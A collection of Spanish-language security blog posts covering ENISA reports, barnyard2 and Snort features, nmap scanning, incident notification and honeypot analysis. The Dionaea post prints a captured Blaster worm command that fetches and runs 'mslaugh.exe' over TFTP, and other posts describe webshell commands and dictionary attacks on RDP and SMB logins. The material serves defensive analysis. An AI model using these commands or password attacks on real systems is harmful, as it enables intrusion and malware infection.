El pasado día 25 de octubre ENISA publicó el documento “On National and International Cyber Security Exercises. Survey, Analysis and Recommendations” un informe donde se recoge el resultado de una encuesta realizada a diferentes organismos internacionales, públicos y privados, sobre ejercicios de ciberseguridad. Esta encuesta recopila información de 84 países, 22 de ellos europeos, y comprende el periodo de 2002 a 2012.

El documento es un poco extenso aunque recomiendo su lectura, como casi todos los que hace ENISA, a todos los que están dentro del mundo de la seguridad de la información; y quería aprovechar esta ocasión para destacar varios puntos que se desprenden de dicho informe y que considero que son relevantes. Primero, el informe destaca un aumento del número de ejercicios realizados en los últimos años, confirmando la necesidad de dichas prácticas para mejorar la calidad del trabajo realizado y estar cada vez mejor preparados ante incidentes o ataques cibernéticos. Estos ejercicios tienen dos finalidades claras; por un lado ayudar a definir y practicar políticas y procedimientos ante situaciones en las que se requiere una actuación ágil y coordinada entre múltiples actores para abordar la amenaza; es normal que durante una situación de ataque el personal trate de actuar lo más rápido posible para contener dicho ataque y podría darse una situación de descoordinación, o que las acciones no sean las adecuadas. Por otro lado, sirven para detectar carencias o fallos en estos procedimientos que de otra manera sería difícil localizar, lo que permite mejorarlos. Puede haber procedimientos que necesiten mejorar pero no nos demos cuenta de ellos hasta que se ponen en práctica, y es a través de estos ejercicios como podemos ver su idoneidad.

Por otro lado, se resalta la participación de más países en ejercicios de este tipo, cosa que merece su importancia dentro de esta situación de crisis económica global en la cual casi todos los departamentos gubernamentales están sufriendo recortes más o menos acusados. El hecho de que haya cada vez más países que crean nuevos ejercicios de ciberseguridad o participan conjuntamente en aquellos promovidos por otros países nos deja clara la conciencia que se está tomando ante estas amenazas.

Muchas veces sólo es necesaria una o dos jornadas para plantear una o varias situaciones ante las que actuar o debatir las mejores acciones a fin de organizarse y que cada actor sepa su cometido y cómo llevarlo a cabo (el informe recoge la duración media de estos ejercicios). Aunque la preparación seguro que llevará varias semanas, el coste de organizar un evento de este tipo debería ser suficientemente asequible para realizarse periódiamente y sin interrumpir la actividad diaria que realizan los equipos participantes. Por este motivo creo que es necesario que cada Centro o Departamento de Seguridad (o el nombre y estructura dentro de la organización que tome) de empresas y organismos con determinado tamaño invierta tiempo y esfuerzo en organizar este tipo de ejercicios con el fin de conocer su capacidad de respuesta y saber cómo actuar cuando esto ocurra, porque seguro que en algún momento ocurrirá. Se dice que las empresas que tienen mínimamente una vinculación con Internet se dividen en dos tipos: las que han sido atacadas y conocen la importancia de los Centros de Seguridad, y las que aún no han sido atacadas (o lo han sido pero no lo saben), pero deben estar preparadas para cuando esto ocurra a fin de minimizar el impacto de un ataque en su negocio.

Por último, el informe destaca la necesidad de contar con herramientas de gestión y simulación de estos ejercicios que mejorarían la preparación y reducirían su coste, permitiendo una mayor colaboración entre los organismos y asegurando una mayor calidad de las lecciones aprendidas, además de unificar tanto los ejercicios como los procedimientos finales. Se podría proponer un estándar (no conozco que exista alguno), al estilo de OWASP para la auditoría web, donde se recojan diferentes escenarios y unas acciones que las organizaciones tomaríamos de referencia, las que se quisieran tratar en cada momento, para desarrollar los procedimientos y ponerlos en práctica.

La semana pasada se liberó como estable barnyard2 v2-1.10, tras 20 meses de desarrollo y las aportaciones de un gran número de colaboradores. En mi opinión, no añade grandes novedades importantes; tan sólo destacar mejoras en el rendimiento de la base de datos, que ha sido reescrito (aunque no he analizado qué ha cambiado). Lo que sí destacan es que en la próxima versión (que no se sabe cuándo será) se cambiará el esquema de la base de datos para soportar de forma nativa IPv6 y Unified2. Esto afectará a programas como BASE que no será compatible con el nuevo esquema, cosa que aprovechan para pedir voluntarios para su modificación.

Se mejora el soporte para IPv6 y se corrigen numerosos fallos. Esta versión es capaz de leer “Extended headers” que entiendo que serán los datos extra que habló mi compañero José Vila, como la URI o el campo X-Forwarded, aunque comentan que todavía no hay plugin de salida que los procese.

Debido a esto último, por mi parte, seguiré utilizando la versión anterior parcheada que permite insertar esos datos en la base de datos, pero seguiremos a la espera de esa próxima versión que tanto promete.

El paso que dio Snort cuando desactivó los plugins de salida para bases de datos, ha confirmado la importancia de Unified2 como formato “intermedio” y a barnyard2 como una aplicación fundamental, cuyos desarrolladores deberán adaptarse rápidamente a los cambios y mejoras que puedan surgir. Lo que me pregunto es lo que tardará Sourcefire en acogerlos e incorporarlos al equipo de desarrollo propio, ya que en la mayoría de instalaciones es lo que se suele utilizar por ser la salida más rápida.

A continuación, pego los cambios traducidos al castellano:

Novedades

• spo_database. Soporte para conexiones cifradas en postgresql.
• spo_sguil. Corregido problema con el duplicado de alertas.
• Plugin de base de datos completamente reescrito para optimizar el rendimiento frente al esquema original.
• NOTA: Si vais a utilizar esta nueva versión, se recomienda encarecidamente limpiar dos tablas para un mejor rendimiento: reference y sig_reference. Si no se hace esto, no se rompe nada pero se relentiza el proceso de “cacheo”.
• Nuevo plugin para Bro (agradecimiento a Seth Hall).
• Nuevo plugin syslog_full con soporte local y remoto de syslog TCP y UDP.

Mejoras

• Soporte mejorado del último formato de Unified2. Se leen las cabeceras adicionales aunque todavía no hay plugin que lo utilice.
• Soporte mejorado de IPv6.
• Compilado con cygwin.
• E infinidad de errores corregidos.

Se puede descargar desde los siguientes enlaces:

• https://github.com/firnsy/barnyard2/tags (zip/tarball)
• git://github.com/firnsy/barnyard2.git (a través de git)

Simplemente quería informar de esta nueva versión y de lo importante que se ha vuelto el formato Unified2, el cual tuvimos que adoptar por temas de rendimiento, y ahora hemos visto que acertamos al ser una opción muy buena.

Tanto si somos una empresa o un centro dedicado a la seguridad informática, o si simplemente queremos investigar malware, sabemos de la importancia de las HoneyNets como fuente para la detección y obtención de nuevas muestras de malware. También, si queremos descubrir hacia dónde se están dirigiendo los ataques y anticiparse a cuando ocurra en nuestra red en producción, nos puede venir bien montar una honey.

En varios artículos se ha hablado de Dionaea y en esta ocasión voy a mostrar algunos scripts para mostrar los últimos binarios que no eran detectados por la mayoría de antivirus.

Para considerar que se trate de una muestra nueva, tomamos como referencia VirusTotal porque ofrece un servicio con múltiples motores de antivirus guardándonos el resultado en el momento de enviar nuestra muestra. Si la muestra no la detectan más de tres motores, diremos que es un especimen nuevo o una mutación desconocida y no detectada.

[Read more…]

En artículos anteriores de nuestro compañero José Vila, éste nos explicaba el funcionamiento y configuración de una nueva funcionalidad de Snort, los “Extra Data”. Tras un tiempo utilizándolo descubrí una característica de la que no me había dado cuenta hasta el momento y que quiero compartir con vosotros ya que se le puede sacar bastante partido.

Esta característica es realmente impresionante ya que te permite ver información que antes no era posible —o al menos no de forma tan directa—, facilitando la identificación de ataques. Al activar la opción log_uri, el preprocesador almacenará la URI para la sesión completa y, si la alerta está configurada con las opciones “flow:from_server, established”, cuando salte esta alerta proveniente de la respuesta de un servidor, aparecerá la petición del cliente que la ha provocado.

Es decir, podremos ver la petición, por poner un ejemplo, que ha originado un error 500 en un servidor Tomcat. Con un ejemplo se verá más claro:

Gracias al campo Full URI podemos ver cómo la respuesta 500 del servidor se debió a una petición un tanto ‘extraña’. Si vemos la URI, se trata de una conocida webshell que han subido al servidor a la que se le pueden enviar comandos a través de la variable comment. En este caso, pretendían descargar el fichero 9.txt desde un servidor a través del comando wget. Afortunadamente, al no poder ejecutar el comando, el servidor devuelve un error 500, lo que ha hecho saltar la alerta.

Gracias a poder ver la URI que ha provocado el error se ha podido detectar este incidente que de otra forma no habría sido posible, ya que sólo se trataría de un error 500 que podríamos achacar a un error puntual del servidor.

Esta es sólo una muestra de la información que podemos sacar de ese campo en determinadas situaciones, lo que facilita la gestión de incidentes de seguridad, al menos en su fase de identificación.

—

Actualización 16/07/2012.

A petición de un lector, adjuntamos un pequeño parche que realizamos para mostrar las cabeceras extra en la vista detallada de BASE, como podéis ver en la imagen que acompaña este post. El parche se aplica en directorio de base con la siguiente orden (es necesario quitarle la extensión .txt antes):

patch -p1 -i base_1.4.5.1.patch

El parche únicamente permite visualizar las cabeceras extra en la vista detallada de una alerta. No se puede buscar por estas cabeceras, ni se visualiza nada en los listados de alertas. El parche se entrega tal cual está, no nos hacemos responsables del impacto que pueda suponer su uso en vuestros sistemas. A pesar de ello, nos gustaría que comentarais vuestras impresiones sobre el mismo, si os decidís a probarlo.

Teniendo que auditar un activo, durante la fase de reconocimiento quise hacer un escaneo de todos los puertos, del 1 al 65535, para que no hubiera nada raro que no debiera estar accesible. Como esto llevaría un tiempo que no me apetecía invertir, recordé el artículo de mi compañero José Luis sobre la optimización de Nmap. Ya sabéis, básicamente lancé un ping para calcular el RTT mínimo y medio y utilicé esos valores para definir los parámetros --initial-rtt-timout y --max-rtt-timeout.

mbelda@pc:~$ ping -c4 192.168.XXX.XXX 
PING 192.168.XXX.XXX (192.168.XXX.XXX) 56(84) bytes of data. 
64 bytes from 192.168.XXX.XXX: icmp_req=1 ttl=58 time=7.88 ms 
64 bytes from 192.168.XXX.XXX: icmp_req=2 ttl=58 time=2.55 ms 
64 bytes from 192.168.XXX.XXX: icmp_req=3 ttl=58 time=2.97 ms 
64 bytes from 192.168.XXX.XXX: icmp_req=4 ttl=58 time=3.16 ms 

--- 192.168.XXX.XXX ping statistics --- 
4 packets transmitted, 4 received, 0% packet loss, time 3004ms 
rtt min/avg/max/mdev = 2.553/4.146/7.886/2.171 ms 
mbelda@pc:~$ nmap -PN -T4 -p1-65535 --max-retries 1 --min-parallelism 70 \
     --initial-rtt-timeout 5 192.168.XXX.XXX 

[...]

[Read more…]

Una de las principales funciones de un SOC es la Gestión de Incidentes de Seguridad. Este servicio comprende la notificación de incidentes a los afectados así como a los responsables de la red atacante, en la mayoría de los casos. Aunque pueda parecer que es algo poco importante, considero que es una de las fases más cruciales en la gestión de incidentes, ya que debe transmitir claramente a la persona interesada los hechos ocurridos, la importancia del problema y la solución del mismo.

Parece un mal endémico del personal técnico el no tener una buena capacidad de redacción y síntesis; podemos hablar sobre multitud de conceptos técnicos, utilizando una infinitud de palabras en inglés pero parece que no seamos capaces de sintentizar y trasladar a un lenguaje más coloquial un incidente de seguridad que hayamos detectado.

Repasando un documento de ENISA sobre ejercicios para la gente de un CERT, revisé el que habla del contacto con terceros para la notificación de un incidente. En este ejercicio se practica la forma en que se avisa a los interesados de algo que ha ocurrido, cuáles han sido las posibles consecuencias y qué deseamos que hagan para solucionarlo.

Esto que parece tan simple, en ocasiones se convierte en un correo electrónico con un texto “copy-pasteado” hecho con retales de otros correos, con información sin aclarar muy bien de dónde sale o qué representa y con unas instrucciones un poco vagas. Por esto, quería recoger las ideas que propone ENISA para la redacción de una buena notificación.

Por mi experiencia, el correo debe ser breve y conciso en lo que se desea transmitir, y ajustarse al perfil del destinatario del correo, normalmente personal técnico pero sin grandes conocimientos de seguridad, para que este correo no genere rechazo.

Lo primero de todo es presentarse. En un par de líneas, debemos decir quiénes somos. Este paso tendrá que omitirse si ya nos conocen porque no queremos resultar repetitivos ni queremos que se vea nuestro correo como algo automático que redactamos sin pensar. No podemos dejar que la información empiece en el tercer o cuarto párrafo, que es lo que realmente queremos transmitir del incidente.

Lo segundo es una descripción clara de lo que ha ocurrido. Debemos dejar de lado los tecnicismos, las definiciones extensas o referencias a otros sitios. “Ha recibido un ataque al servidor web tal desde tal, cuyas consecuencias han sido/han podido ser…” sería una forma aceptable. Pensadlo un momento. A un responsable de departamento le dará igual si ha sido una inyección SQL en el parámetro id del recurso vulnerable.php, poniendo nosequé cosa o si se trata de un RFI apuntando a un servidor de Rusia o Botswana. Esto puede ir más adelante, pero no en este momento, donde queremos transmitirle lo que ha ocurrido y el impacto que haya podido tener. Debemos evitar extendernos demasiado. También facilitará la lectura y evitará que confundamos al receptor. Un párrafo únicamente a modo de resumen ejecutivo será más que suficiente.

Ahora las evidencias. Una vez ha comprendido lo que ha ocurrido, podemos explicarle el cómo. Ya podemos nombrar qué técnica o herramienta se ha utilizado o qué vulnerabilidad ha sido explotada; podemos hablar de siglas y aportar cuantas evidencias tengamos de nuestros registros de cortafuegos, IDS o cualquier sistema de monitorización que ayude a entender técnicamente lo ocurrido. Qué impacto y consecuencias ha podido tener, por qué ha ocurrido ahora (algún servidor desactualizado, por ejemplo); pero tampoco sin llegar a aburrir. Ofrecer la mayor información posible no significa aportar la mayor cantidad de datos. Copiar una captura del registro de alertas del IDS repetidas, aunque sea una docena, no aporta nada y puede causar un efecto disuasorio. Si tenemos más datos, se puede entregar como adjunto pero las evidencias técnicas deben ser las mínimas necesarias para comprender el alcance y su impacto. En un par de párrafos con referencias a los archivos adjuntos podemos dejarlo claro.

Por último, tenemos las acciones que queremos que tomen. Quizá sea necesario que nos aporten más información para conocer el alcance o efectividad del incidente; o quizá queramos que reinstalen un sistema por completo, pero debe quedar lo más claro posible aquello que queremos que hagan. Hay que evitar ambigüedades o acciones poco precisas, teniendo en cuenta que quizá no tengan muchos conocimientos de seguridad. También hay que dejarles a ellos un poco de margen de maniobra, ya que ellos conocerán mejor que nadie sus sistemas y qué acciones pueden ser las mejores, pero habrá que asegurarse de que hayan comprendido el problema y cómo solucionarlo.

Un vez hemos transmitido el mensaje que queríamos debemos despedirnos con información sobre nosotros mismos. Se debe incluir un pie de firma con los datos de contacto y firmar digitalmente el correo. Siempre se habla de la poca seguridad de los correos y debemos transmitir una imagen de profesionalidad, utilizando firmas que certifiquen la autenticidad y la integridad del mensaje. Si enviamos información confidencial, deberemos cifrar el mensaje con un mecanismo acordado previamente entre las partes.

Como conclusión, quiero remarcar que los correos deben ser concisos y aportar la mayor información sin parecer un correo automático o una captura de un log del sistema, ya que estos crean poco interés en el receptor y puede que se le dé menos importancia de la que tenga en realidad. Utilizar un lenguaje entendible por personas con poco conocimiento en seguridad y huir de texto pegado de registros de sistemas. Esto último puede ir en archivos adjuntos.

Se debe transmitir la importancia en este primer correo y, si fuera necesario, enviar tantos correos como nos solicite el destinatario para aclararle sus dudas, pero que no caigan en saco roto por parecer siempre iguales.

El pasado 7 de diciembre, ENISA publicó un informe con los resultados de una encuesta realizada a diferentes CERTs y otros organismos de ámbito europeo —y alguno extra-comunitario— traducido al castellano como “Detección proactiva de Incidentes de Seguridad”. Esta entrada viene a resumir las conclusiones más importantes que he extraído de este informe según mi valoración.

Dicho informe tiene como finalidad recoger e identificar los distintos métodos que utilizan los CERTs de ámbito europeo para la detección de incidentes de seguridad en las redes de las que son responsables y cómo, a partir de esta información, mejorar los métodos utilizados por otros CERTs para detectar estos incidentes de forma proactiva; se trata una manera de aunar esfuerzos. La definición del término proactivo, en contraposición a reactivo, se refiere en este caso al descubrimiento de actividades maliciosas a través de procesos internos antes de que sean detectados por los propios afectados. Esto último sería en el caso de un incidente notificado a través de un formulario por parte de los afectados o terceros.

La idea era realizar una recopilación de métodos disponibles, actividades y fuentes de información, junto con una valoración global como resultado de la encuesta.

Este inventario se ha dividido en dos categorías según el origen de la información: medidas internas y servicios externos. En la siguiente gráfica se puede apreciar cómo las fuentes de información más utilizadas por CERTs europeos son las fuentes internas —sistemas de monitorización en sus propias redes— y la notificación interna de incidentes —según se comenta en el informe, esta es la forma más habitual debido a la naturaleza de estos centros—. Lo que no parece muy habitual es la utilización de fuentes comerciales.

A continuación se muestra una gráfica con las fuentes externas de información más utilizadas, junto a una valoración de la calidad de los datos. Es lógico pensar que las mejor valoradas son las más utilizadas, pero destaca el hecho de que la mayoría de los encuestados consideran la calidad de la información como buena, aunque no excelente, pudiendo interpretarse como una necesidad de mejora de éstas para cubrir sus exigencias.

La otra vertiente de la encuesta es el uso de sistemas o herramientas desplegadas por los propios organismos en las redes bajo su responsabilidad y su uso para extraer información acerca de incidentes. Vemos como los más utilizados son los cortafuegos, los registros de los sistemas y los antivirus, pero estos sistemas generan una cantidad muy elevada de información, que debe ser procesada antes de poder ser consumida para la detección por lo que me sorprende que se utilice como una fuente de información útil, ya que el firewall suele estar en la primera línea de fuego y suele detener y ser objeto de muchos ataques, con el ruido que eso conlleva.

Un dato que sorprende de los que se extraen de este informe está relacionado con el intercambio de información. El intercambio de información es crucial tanto para conocer los incidentes de seguridad en nuestras redes como para actuar rápidamente en su resolución —este punto es fundamental para reducir su impacto—. Sorprende ver cómo casi la mitad de los encuestados no notifica a otros organismos de los incidentes detectados por ellos mismos. Habría que averiguar por qué ocurre esto, quizá sea la falta de recursos o que no se establecen unas relaciones mínimas entre estos organismos.

Servicios recomendados

Según la valoración de los organismos encuestados, el informe recompila una lista con los 5 servicios más recomendados como fuente externa de información sobre incidentes. A continuación se enumeran, junto con una breve descripción para aquellos que no los conozcan y alguna observación sobre los mismos.

Shadowserver Foundation

La Shadowserver Foundation es un grupo de profesionales que trabajan en la obtención de información maliciosa relacionada con el fraude electrónico o actividad de botnets. El ASN & Netblock Alerting & Reporting Service es un servicio gratuito que permite a los organismos recibir información sobre actividades maliciosas en direcciones bajo su responsabilidad. Este es un grupo sin ánimo de lucro valorado por la comunidad de CERTs. La información es de buena calidad y cubre varios tipos de informes sobre incidentes que la convierten en una fuente de información muy útil.

Zeus/SpyEye Tracker

Zeus Tracker es un proyecto del centro suizo abuse.ch. Este servicio monitoriza servidores de C&C de Zeus, ejecutables, configuraciones y demás información relacionada con este archiconocido troyano bancario. Ofrece listas de bloqueo para prevenir la infección de clientes evitando que accedan a los servidores de C&C. SpyEye Tracker es similar al de Zeus, pero centrado en este otro troyano. La lista contiene direcciones activas, aunque también dispone de direcciones antiguas que ya han sido eliminadas.

Una de las mayores actividades delictivas en Internet se centra en la información bancaria y Zeus y SpyEye son los más importantes, por lo que es imprescindible tener una visión general del comportamiento de estos troyanos con listas de direcciones IP y dominios utilizados por los servidores de C&C. El único inconveniente que tiene es que está centrado únicamente en estas dos amenazas concretas y puede quedar obsoleto en un futuro.

Google Safe Browsing Alerts

Estas alertas se basan en la base de datos de Google sobre sitios maliciosos, Google Safe Browsing, que permite a los administradores recibir alertas sobre contenido malicioso en sus redes. Esta situación hace que sea algo difícil —aunque no imposible— el acceso a la información por los CERTs si no son los propietarios directos de los dominios. Quizá se trate del servicio más popular para identificar URLs maliciosas y permite una detección bastante rápida de código malicioso en sitios web.

Malware Domain List

Este servicio ofrece listas de URLs que son peligrosas por estar relacionadas con infecciones, gestión de botnets, alojamiento de malware… Se ofrece también en forma de listado de direcciones IP y es libre para uso no comercial.

Team Cymru’s CSIRT Assistance Program

TC Console es una interfaz web para ver actividad maliciosa en la red de la organización que es recogida de la red de participantes en el proyecto. El servicio agrega la información y facilita el análisis del tráfico observado, ofreciendo diversa información detallada. Esta información está considerada de muy buena calidad y gratuita para CERTs públicos. La organización debe registrarse y declarar el número de AS de la que es propietaria y desea recibir información.

Servicios

La siguiente tabla muestra la valoración global de todos los servicios que aparecieron en la encuesta, en función de los elementos a evaluar: Timeliness (temporalidad, diferencia entre el tiempo de la captura de la información y su publicación), Accuracy (precisión de los resultados, relacionado con la calidad y el porcentaje de falsos positivos), Ease of use (facilidad en acceder y utilizar la información), Coverage (alcance, depende de muchos aspectos, pero está relacionado con el hecho de si el servicio cubre toda o parte de la red del interesado) y Resources (el coste en recursos necesarios para gestionar el servicio):

Herramientas recomendables

Entre las herramientas recomendables, se clasifican en tres grupos según su difusión: estándar (cortafuegos, antivirus, IDS/IPS…), avanzadas (honeypot de servidores, spamtraps…) y futuras (honeypots de cliente, sandboxes…). Esta última parte parece que tenga peor valoración, quizá porque se debe trabajar más en ellos ya que todo lo que se notifique desde estas fuentes tiene mucha más importancia pero se tiene que dar formato y presentación a esta información, ya que son cosas que ocurren en nuestra red, al contrario de las fuentes externas que nos advierten de lo que nos puede afectar en breve.

Deficiencias

El informe también recoge algunas quejas o deficiencias que han comentado los encuestados acerca de la detección de incidentes. Algunas de ellas son de origen técnico y otras, legales.

Por destacar algunas, en la parte técnica nos encontramos que la calidad de la información y fiabilidad no es todo lo buena que se esperaba y requiere ser procesada manualmente, lo que dificulta y aumenta el coste de la gestión. Como segunda deficiencia más comentada se encuentra la falta de correlación, no sólo para eliminar información duplicada o eliminar falsos positivos, sino para detectar incidentes de mayor calado a través de la utilización de información de diversas fuentes. Para mejorar este aspecto, y conocedores de esta problemática, S2 Grupo cuenta con Tritón, una solución para correlar eventos de diversas fuentes con una gran versatilidad.

Por último, mencionar la falta de aplicaciones de reporte de incidentes en el escritorio del usuario, ya que facilitaría la notificación y animaría a que la gente a informar más de los incidentes de seguridad que vean. Para cubrir este vacío, tenemos nuestra herramienta de gestión de eventos, eMas, que permite informar a nuestros clientes desde esta aplicación llegando directamente al personal técnico que debe tratarlos. Además, incorpora una interfaz web que permite notificar sin necesidad de estar instalada en el equipo.

Existen otras, como la falta de automatización, la estandarización y la dificultad de almacenar y procesar grandes cantidades de datos durante periodos largos de tiempo. La lista de las deficiencias reportadas es la siguiente:

Técnicas:

• Calidad de la información y fiabilidad.
• Correlación limitada.
• Falta de automatización.
• Estandarización.
• Poca monitorización.
• Análisis en clientes.
• Poca utilización de la visualización.
• Falta integración entre notificación de incidentes y software de escritorio.
• Falta de datos a largo plazo.
• No se informa de objetivos concretos.
• No se informa de DDoS.
• Monitorización DNS infravalorada.

Legales

• Aspecto legales que impiden el intercambio.
• Falta de recursos humanos.
• Dificultad de entrar en grupos cerrados.

Conclusiones

Las amenazas evolucionan continuamente y obligan a los equipos de seguridad a mantenerse constantemente actualizados y al día de las últimas tendencias. Además, el amplio espectro hace casi imposible que un único CERT les pueda hacer frente y las fuentes de información no son del todo satisfactorias por lo que las acciones proactivas no están tan implantadas como las reactivas.

También se identifican una serie de deficiencias, las más importantes de carácter legal, que encuentran los CERTs y que limitan o dificultan el manejo o intercambio de información. Lo que busca el informe es potenciar este intercambio entre organismos, sobre todo europeos con el fin de coordinarse y agilizar la respuesta frente a los ataques.

La conclusión a la que llego es que hacen falta mejores fuentes de información, tanto en la calidad de los datos, como en su presentación para que sean tratados por los diferentes centros y como a su actualización. Teniendo en cuenta la rapidez con la que cambian las botnets y dominios en los que se aloja malware, se hace necesaria una actualización casi en tiempo real.

También se hace necesaria una colaboración ágil entre organismos implicados para mitigar las amenazas y actuar de forma coordinada y de forma global para reducir el número de amenazas que sufren los usuarios.

La entomología es la ciencia que estudia los insectos. En este artículo vamos a tomar el rol de un entomólogo y pasaremos a analizar los “insectos” que haya capturado nuestra planta dionaea, para ver si descubrimos algún espécimen nuevo. Y hasta aquí, cualquier similitud con esta ciencia.

En realidad, voy a contar el uso de wireshark para analizar un ataque recibido por nuestra sonda que está ejecutando dionaea y explicar cómo ver las pruebas, así como también algunas cosas más del funcionamiento de este interesante honeypot del que ya hemos hablado en alguna que otra ocasión. Adelanto que la captura del tráfico se hizo con tcpdump porque, aunque sabemos que dionaea se guarda el ejecutable que descarga, queríamos capturar todo el ataque, no sólo el ejecutable en cuestión.

De todo el tráfico que se capturó, nos queremos centrar únicamente en los ataques y no distraernos con tráfico que no aporta nada filtrando los paquetes que no pertenezcan a ese ataque. Para ello, podemos configurar el Filtro de la siguiente manera:

!(arp) and !(ntp) and !(dns)

De esta forma, se descartan paquetes que no interesan por ser tráfico que se encuentra en la red habitualmente y hacen más difícil la lectura. Observamos los paquetes que quedan y decidimos analizar un ataque que parece interesante, ya que implica conexiones de NetBIOS, TFTP y otro conexión con un protocolo “desconocido”.

Acotamos los paquetes que nos interesan creando un filtro añadiendo las direcciones IP de los equipos implicados en el ataque. Para crear este filtro, pulsamos botón derecho sobre la dirección IP y seleccionamos “Prepare a Filter->…and Selected”. De esta manera, vamos añadiendo las opciones al filtro existente. Lo que ocurre es que al seleccionar la columna de dirección IP, lo especifica como ip.src o ip.dst, así que se ampliará la selección indicando que queremos tanto origen como destino, cambiándolos a ip.addr. Repetimos este paso las veces necesarias (utilizando la opción “Prepare a Filter->…and Selected”, o “…or Selected”) hasta completar nuestro filtro y, por último, pinchamos en Apply.

Una forma de ver el ataque de manera general sería utilizando la funcionalidad Flow Graph y escogiendo la opción para los paquetes mostrados (Displayed packets, los que hemos filtrado).

Vemos cómo es el resultado del Flow Graph.

El ataque comienza cuando establece una conexión al puerto 135 y, mediante una petición RemoteCreateInstance, lanza lo que parece ser un exploit:

Una vez el exploit “ha tenido éxito”, el atacante se conecta al puerto 4444 y encuentra la shell remota que ha “abierto” en el equipo comprometido. En este caso, podemos ver la respuesta de dionaea para hacer creer al atacante que el ataque ha funcionado y que en el puerto 4444/TCP hay una consola de un sistema Windows XP.

Cuando accede a esta shell, vemos en el contenido del paquete que lanza un comando tftp para descargarse un fichero llamado mslaugh.exe.

tftp -i 192.168.1.101 GET mslaugh.exe

siendo la captura del paquete la siguiente:

Aquí es donde falla este ataque y no puede completarse. No acabo de entender por qué trata de bajar el código del virus desde esa IP y no desde un servidor público. Quizá sea debido a un error de programación ya que indica una dirección privada, en lugar de la pública del atacante, como sería lo habitual. A pesar de esto, nuestro dionaea le responde al atacante que lo está descargando (respondiendo downloading), aunque no sea verdad. Una vez cree que el archivo ya está descargado, trata de ejecutarlo, devolviéndole un error:

start mslaugh.exe
Command not found

mslaugh.exe
Command not found

Podemos ver más claramente esta conversación con la consola utilizando la funcionalidad de Wireshark Follow TCP Stream (útil cuando se trata de texto ASCII en claro). Para ello, pinchamos con botón derecho sobre un paquete de esa sesión TCP y seleccionamos “Follow TCP Stream”.

Si el sistema hubiera descargado el ejecutable, seguramente estaría comprometido, ya que lo habitual es que se tratara de algún tipo de virus.

Y hasta aquí el análisis de la captura; no podemos analizar mucho más. Buscando información por el nombre del ejecutable descargado y los puertos utilizados para realizar el ataque, podemos deducir que lo que hemos estado analizando ha sido el archiconocido, y antiquísimo, gusano Blaster. Quizá la próxima vez tengamos más suerte y descubramos alguna “rareza”. Por el momento, nos tenemos que conformar con esto.

Por último comentar que todo esto ha sido una interacción con dionaea, no una máquina real con Windows XP, por lo que todas las respuestas al ataque han sido falsas y sólo eran el resultado de la emulación que hace de los exploits y demás comandos que recibe. Respondiendo al atacante lo que quiere oír, para ver cómo continúa el ataque. De esta forma hemos podido analizar un ataque real contra nuestro honeypot.

Desde finales del mes pasado, estamos detectando en nuestros Sistemas de Detección de Intrusos un aumento en los ataques dirigidos al puerto 3389 (servicio de Terminal Service). Se pensó que este aumento podía ser debido a una vulnerabilidad no conocida de este servicio, pero analizando el tráfico capturado, pudimos comprobar que se trataba de intentos de acceso utilizando el mismo usuario y un grupo de contraseñas débiles fijas.

Investigamos un poco y vimos que este aumento podría ser debido a un nuevo virus identificado como Morto. Se trata de un gusano que se propaga por la red aprovechándose de contraseñas débiles conocidas configuradas en los sistemas.

A continuación mostramos una gráfica donde se ve el aumento de “ataques” al servicio de Terminal Server; unas alertas relacionadas con el intento de login por protocolo RDP y otras específicas del Morto una vez se añadió la firma (el pico final es debido a un ataque desde múltiples orígenes que se acumularon y por eso dan ese valor tan alarmante).

El virus no tiene demasiado éxito, por el momento, ya que prueba con el usuario local “Administrator” y utiliza un lista de unas 30 contraseñas, por lo que la probabilidad de acierto es realmente baja. No obstante, ¿cómo podemos asegurarnos de que no somos vulnerables a este virus? O de forma genérica, ¿cómo podemos comprobar que no se utilizan contraseñas débiles en nuestros sistemas?

En esta entrada vamos a recoger un par de soluciones para comprobar que no seríamos vulnerables a este gusano, en caso de que atacase nuestros sistemas. La primera, utiliza la herramienta ncrack (de los mismos creadores de nmap) para escanear la red, cargando los usuarios y contraseñas de la lista anterior.

La segunda es igual de fácil de utilizar, desde la consola de Mestasploit, msfconsole, como comentan en el blog de Rapid7.

Seleccionamos el módulo smb_login y cargamos el fichero especificando la variable USERPASS_FILE.

Especificamos el objetivo y el número de pruebas concurrentes, así como deshabilitar el modo “verbose”.

Únicamente configurados estos parámetros, pasamos a ejecutar el ataque.

Con estas herramientas podemos comprobar la autenticación de diversos servidores y con esta u otras listas de contraseñas conocidas. Existen numerosos diccionarios, y en infinidad de idiomas, con los que podemos probar nuestros servicios. Animamos a nuestros lectores a que prueben si sus sistemas son vulnerables a estos ataques de diccionario (más cuando se trata de listas tan pequeñas). Parece mentira que un ataque tan simple pueda tener tanto éxito (a escala de Internet), pero eso demuestra lo verde que estamos en materia de seguridad, ya que se incumplen varias recomendaciones: como sería la de no utilizar contraseñas débiles, no permitir accesos remotos como Administrador o no publicar este tipo de servicios directamente a Internet.

Así que ya saben, si detectan un aumento en el tráfico RDP puede que Morto esté llamando a su puerta, pero pueden estar tranquilos de que no pasará (al menos, este).

La entrada anterior era tan sólo una introducción a esta interesante herramienta, pero no mucho más extensa de lo que cuentan en la página principal del proyecto. La idea original de este artículo que he tenido que dividir era, además de presentarla, mostrar algunas curiosidades de las que podemos sacar bastante jugo y que paso a comentar a continuación.

Colaborando con la causa

Como comenté en el artículo anterior, uno de los puntos más interesantes de Dionaea es el envío de las muestras de malware a servicios de terceros para su análisis. Pero esto no es lo realmente interesante, no nos interesa saber de qué especimen se trata en concreto, ya que hemos comentado que se presupone que todo archivo descargado será malware -salvo que queramos analizarlo en un laboratorio y averiguar cómo funciona-. Lo más interesante es que alguna de las muestras que enviamos no haya sido detectada previamente y no exista firma en los motores de antivirus. Es decir, sea una nueva variante no detectada hasta el momento.

[Read more…]